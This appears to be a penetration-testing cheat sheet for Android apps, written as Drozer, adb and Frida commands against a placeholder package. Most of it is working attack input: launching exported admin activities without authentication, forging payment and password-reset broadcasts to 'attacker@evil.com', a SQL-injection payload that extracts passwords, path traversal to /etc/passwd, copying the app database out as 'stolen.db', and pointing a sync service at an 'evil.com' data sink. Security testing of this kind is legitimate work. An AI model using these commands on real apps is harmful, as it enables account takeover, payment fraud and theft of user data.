# Using Drozer
drozer console connect
run app.package.info -a com.target.app
run app.package.attacksurface com.target.app

# Output shows:
# X activities exported
# X broadcast receivers exported
# X content providers exported
# X services exported

# List exported activities
run app.activity.info -a com.target.app

# List exported services
run app.service.info -a com.target.app

# List exported receivers
run app.broadcast.info -a com.target.app

# List content providers
run app.provider.info -a com.target.app

# Launch exported activities directly
run app.activity.start --component com.target.app com.target.app.AdminActivity

# Launch with intent extras
run app.activity.start --component com.target.app com.target.app.ProfileActivity \
  --extra string user_id 1337

# Test intent injection via data URI
adb shell am start -a android.intent.action.VIEW \
  -d "content://com.target.app/users/admin" com.target.app

# If admin activity opens without auth, report as authorization bypass

# Send broadcast to exported receivers
run app.broadcast.send --action com.target.app.PROCESS_PAYMENT \
  --extra string amount "0.01" --extra string recipient "attacker"

# Sniff broadcasts for sensitive data
run app.broadcast.sniff --action com.target.app.USER_LOGIN

# Via ADB
adb shell am broadcast -a com.target.app.RESET_PASSWORD \
  --es email "attacker@evil.com"

# Query content providers for data leakage
run app.provider.query content://com.target.app.provider/users
run app.provider.query content://com.target.app.provider/users --projection "password"

# Test SQL injection in content providers
run app.provider.query content://com.target.app.provider/users \
  --selection "1=1) UNION SELECT username,password FROM users--"

# Test path traversal
run app.provider.read content://com.target.app.provider/../../etc/passwd
run app.provider.download content://com.target.app.provider/../databases/app.db /tmp/stolen.db

# Find injectable providers
run scanner.provider.injection -a com.target.app
run scanner.provider.traversal -a com.target.app

// Monitor PendingIntent creation via Frida
Java.perform(function() {
    var PendingIntent = Java.use("android.app.PendingIntent");

    PendingIntent.getActivity.overload("android.content.Context", "int",
        "android.content.Intent", "int").implementation =
        function(context, requestCode, intent, flags) {
            console.log("[PendingIntent] getActivity:");
            console.log("  Intent: " + intent.toString());
            console.log("  Flags: " + flags);

            // Check for FLAG_IMMUTABLE (secure) vs FLAG_MUTABLE (vulnerable)
            var FLAG_MUTABLE = 0x02000000;
            if ((flags & FLAG_MUTABLE) !== 0) {
                console.log("  [VULN] FLAG_MUTABLE - PendingIntent can be modified by receiver");
            }
            return this.getActivity(context, requestCode, intent, flags);
        };
});

# Attempt to bind to exported services
run app.service.start --action com.target.app.SYNC_SERVICE \
  --extra string server "https://evil.com/data_sink"

run app.service.send com.target.app com.target.app.MessengerService \
  --msg 1 0 0 --extra string command "dump_database" --bundle-as-obj